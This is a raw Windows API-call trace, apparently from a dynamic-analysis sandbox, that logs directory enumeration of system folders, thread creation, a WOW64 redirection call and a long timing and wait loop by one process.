	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1
	[0177.895] FindNextFileW (in: hFindFile=0x5dd900, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x49de7600, ftLastWriteTime.dwHighDateTime=0x1d29fa2, nFileSizeHigh=0x0, nFileSizeLow=0x19800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0
	[0177.895] FindClose (in: hFindFile=0x5dd900 | out: hFindFile=0x5dd900) returned 1
	[0177.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0177.897] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc583dc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0177.897] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e2d115, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e2d115, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x82e53326, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e53326, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0
	[0177.898] FindClose (in: hFindFile=0x5dd0c0 | out: hFindFile=0x5dd0c0) returned 1
	[0177.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x11c55633, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0177.898] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1
	[0177.899] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0
	[0177.899] FindClose (in: hFindFile=0x509260 | out: hFindFile=0x509260) returned 1
	[0177.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3890e00 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 46
	os_tid = 0xe2c


Thread:
	id = 47
	os_tid = 0xe30

	[0133.635] GetTickCount () returned 0xed0f
	[0133.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x597bd0
	[0133.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0133.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0133.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0133.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x597bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0133.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596950
	[0133.638] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596950, Size=0x20) returned 0x52dc48
	[0133.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596ad0
	[0133.638] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596ad0, Size=0x20) returned 0x52d928
	[0133.638] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0133.639] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0133.639] Wow64DisableWow64FsRedirection (in: OldValue=0x363ff7c | out: OldValue=0x363ff7c*=0x0) returned 1
	[0133.639] lstrlenW (lpString="kernel32.dll") returned 12
	[0133.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc48 | out: hHeap=0x4f0000) returned 1
	[0133.639] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0133.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d928 | out: hHeap=0x4f0000) returned 1
	[0133.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x555cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0133.640] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0133.991] GetTickCount () returned 0xee67
	[0133.991] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0134.284] GetTickCount () returned 0xef9f
	[0134.292] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0134.593] GetTickCount () returned 0xf0d8
	[0134.596] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0135.144] GetTickCount () returned 0xf2eb
	[0135.144] GetTickCount () returned 0xf2eb
	[0135.144] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0135.895] GetTickCount () returned 0xf5d9
	[0135.895] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0136.333] GetTickCount () returned 0xf78f
	[0136.333] GetTickCount () returned 0xf78f
	[0136.333] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0136.662] GetTickCount () returned 0xf8d7
	[0136.662] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0136.992] GetTickCount () returned 0xfa2e
	[0136.992] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0137.283] GetTickCount () returned 0xfb57
	[0137.283] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0137.410] GetTickCount () returned 0xfbd4
	[0137.410] GetTickCount () returned 0xfbd4
	[0137.410] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0137.617] GetTickCount () returned 0xfc9f
	[0137.617] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0137.727] GetTickCount () returned 0xfd0d
	[0137.727] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0137.832] GetTickCount () returned 0xfd7a
	[0137.832] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0137.953] GetTickCount () returned 0xfdf7
	[0137.953] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0138.438] GetTickCount () returned 0xffdc
	[0138.438] GetTickCount () returned 0xffdc
	[0138.438] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0139.153] GetTickCount () returned 0x1028b
	[0139.153] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0139.358] GetTickCount () returned 0x10366
	[0139.358] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0140.202] GetTickCount () returned 0x106b2
	[0140.202] GetTickCount () returned 0x106b2
	[0140.202] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0141.104] GetTickCount () returned 0x10a2c
	[0141.104] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0141.447] GetTickCount () returned 0x10b94
	[0141.447] GetTickCount () returned 0x10b94
	[0141.447] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0141.769] GetTickCount () returned 0x10ccc
	[0141.769] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0141.888] GetTickCount () returned 0x10d49
	[0141.888] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0142.066] GetTickCount () returned 0x10df5
	[0142.066] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0142.534] GetTickCount () returned 0x10fd9
	[0142.534] GetTickCount () returned 0x10fd9
	[0142.534] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0143.748] GetTickCount () returned 0x1148c
	[0143.748] GetTickCount () returned 0x1148c
	[0143.748] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0143.911] GetTickCount () returned 0x11538
	[0143.911] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0144.042] GetTickCount () returned 0x115b5
	[0144.042] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0144.212] GetTickCount () returned 0x11661
	[0144.212] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0144.421] GetTickCount () returned 0x1172c
	[0144.421] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0144.822] GetTickCount () returned 0x118c3
	[0144.822] GetTickCount () returned 0x118c3
	[0144.822] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0145.017] GetTickCount () returned 0x1198e
	[0145.017] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0145.258] GetTickCount () returned 0x11a78
	[0145.258] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0145.457] GetTickCount () returned 0x11b43
	[0145.457] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0145.695] GetTickCount () returned 0x11c2e
	[0145.695] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0145.905] GetTickCount () returned 0x11cf9
	[0145.905] GetTickCount () returned 0x11cf9
	[0145.905] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0146.070] GetTickCount () returned 0x11da5
	[0146.071] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0146.239] GetTickCount () returned 0x11e50
	[0146.239] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0146.637] GetTickCount () returned 0x11fd7
	[0146.637] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0146.890] GetTickCount () returned 0x120d1
	[0146.890] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0147.287] GetTickCount () returned 0x12258
	[0147.287] GetTickCount () returned 0x12258
	[0147.287] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0147.755] GetTickCount () returned 0x1243c
	[0147.756] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0148.059] GetTickCount () returned 0x12565
	[0148.059] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0148.554] GetTickCount () returned 0x12759
	[0148.554] GetTickCount () returned 0x12759
	[0148.554] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0148.735] GetTickCount () returned 0x12814
	[0148.735] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0149.210] GetTickCount () returned 0x129e9
	[0149.210] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0149.527] GetTickCount () returned 0x12b22
	[0149.527] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0149.682] GetTickCount () returned 0x12bbe
	[0149.682] GetTickCount () returned 0x12bbe
	[0149.682] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0149.827] GetTickCount () returned 0x12c4b
	[0149.827] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0150.242] GetTickCount () returned 0x12df0
	[0150.242] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0150.415] GetTickCount () returned 0x12e9c
	[0150.415] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0150.683] GetTickCount () returned 0x12fa6
	[0150.683] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0151.023] GetTickCount () returned 0x130fe
	[0151.023] GetTickCount () returned 0x130fe
	[0151.023] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0151.314] GetTickCount () returned 0x13217
	[0151.314] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0151.682] GetTickCount () returned 0x1338e
	[0151.682] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0151.921] GetTickCount () returned 0x13478
	[0151.921] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0152.322] GetTickCount () returned 0x1360f
	[0152.322] GetTickCount () returned 0x1360f
	[0152.322] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0153.192] GetTickCount () returned 0x1396a
	[0153.192] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0153.567] GetTickCount () returned 0x13ae1
	[0153.567] GetTickCount () returned 0x13ae1
	[0153.567] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0153.765] GetTickCount () returned 0x13bac
	[0153.765] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0154.046] GetTickCount () returned 0x13cc5
	[0154.046] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0154.367] GetTickCount () returned 0x13dfe
	[0154.367] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0154.815] GetTickCount () returned 0x13fc3
	[0154.815] GetTickCount () returned 0x13fc3
	[0154.815] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0155.405] GetTickCount () returned 0x14215
	[0155.405] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0156.116] GetTickCount () returned 0x144d4
	[0156.116] GetTickCount () returned 0x144d4
	[0156.116] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0156.239] GetTickCount () returned 0x14551
	[0156.239] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0156.531] GetTickCount () returned 0x1467a
	[0156.531] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0156.676] GetTickCount () returned 0x14716
	[0156.676] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0156.910] GetTickCount () returned 0x14800
	[0156.910] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0157.468] GetTickCount () returned 0x14a33
	[0157.468] GetTickCount () returned 0x14a33
	[0157.468] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0157.900] GetTickCount () returned 0x14bd9
	[0157.900] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0158.032] GetTickCount () returned 0x14c65
	[0158.032] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0158.256] GetTickCount () returned 0x14d40
	[0158.256] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0158.580] GetTickCount () returned 0x14e88
	[0158.580] GetTickCount () returned 0x14e88
	[0158.580] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0159.150] GetTickCount () returned 0x150bb
	[0159.150] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0160.109] GetTickCount () returned 0x15483
	[0160.109] GetTickCount () returned 0x15483
	[0160.109] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0160.457] GetTickCount () returned 0x155db
	[0160.457] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0160.624] GetTickCount () returned 0x15677
	[0160.624] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0160.870] GetTickCount () returned 0x15771
	[0160.870] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0161.066] GetTickCount () returned 0x1583d
	[0161.066] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0161.449] GetTickCount () returned 0x159b4
	[0161.449] GetTickCount () returned 0x159b4
	[0161.449] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0161.903] GetTickCount () returned 0x15b79
	[0161.903] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0162.369] GetTickCount () returned 0x15d4d
	[0162.369] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0162.895] GetTickCount () returned 0x15f51
	[0162.895] GetTickCount () returned 0x15f51
	[0162.895] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0163.222] GetTickCount () returned 0x160a9
	[0163.223] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0163.361] GetTickCount () returned 0x16135
	[0163.361] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0163.739] GetTickCount () returned 0x162ac
	[0163.739] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0163.954] GetTickCount () returned 0x16387
	[0163.954] GetTickCount () returned 0x16387
	[0163.954] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0164.319] GetTickCount () returned 0x164ef
	[0164.319] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0164.700] GetTickCount () returned 0x16666
	[0164.700] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0165.149] GetTickCount () returned 0x1682b
	[0165.149] GetTickCount () returned 0x1682b
	[0165.149] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0165.700] GetTickCount () returned 0x16a4e
	[0165.700] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0165.970] GetTickCount () returned 0x16b67
	[0165.970] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0166.392] GetTickCount () returned 0x16d0d
	[0166.392] GetTickCount () returned 0x16d0d
	[0166.392] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0166.538] GetTickCount () returned 0x16d99
	[0166.538] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0166.911] GetTickCount () returned 0x16f10
	[0166.911] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0167.143] GetTickCount () returned 0x16ffb
	[0167.143] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0167.323] GetTickCount () returned 0x170a7
	[0167.323] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0167.551] GetTickCount () returned 0x17191
	[0167.551] GetTickCount () returned 0x17191
	[0167.551] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0167.784] GetTickCount () returned 0x1727b
	[0167.784] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0168.011] GetTickCount () returned 0x17356
	[0168.011] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
